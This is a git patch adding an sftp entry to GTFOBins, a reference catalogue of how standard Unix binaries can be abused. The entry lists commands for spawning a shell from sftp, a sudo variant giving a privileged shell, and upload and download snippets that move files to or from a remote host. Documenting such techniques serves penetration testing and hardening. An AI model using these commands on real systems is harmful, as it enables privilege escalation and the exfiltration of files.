From 67a480ccce46e58b9577788554b15b05966d8a4a Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 22 May 2018 11:58:12 +0200 Subject: [PATCH] Add sftp --- _gtfobins/sftp.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 _gtfobins/sftp.md diff --git a/_gtfobins/sftp.md b/_gtfobins/sftp.md new file mode 100644 index 0000000..c2c3179 --- /dev/null +++ b/_gtfobins/sftp.md @@ -0,0 +1,25 @@ +--- +functions: + exec-interactive: + - code: | + HOST=user@10.0.0.1 + sftp $HOST + !/bin/sh + sudo-enabled: + - code: | + HOST=user@10.0.0.1 + sudo sftp $HOST + !/bin/sh + upload: + - description: Send local file to a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + put file_to_send where_to_save + download: + - description: Fetch a remote file from a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + get file_to_get where_to_save +---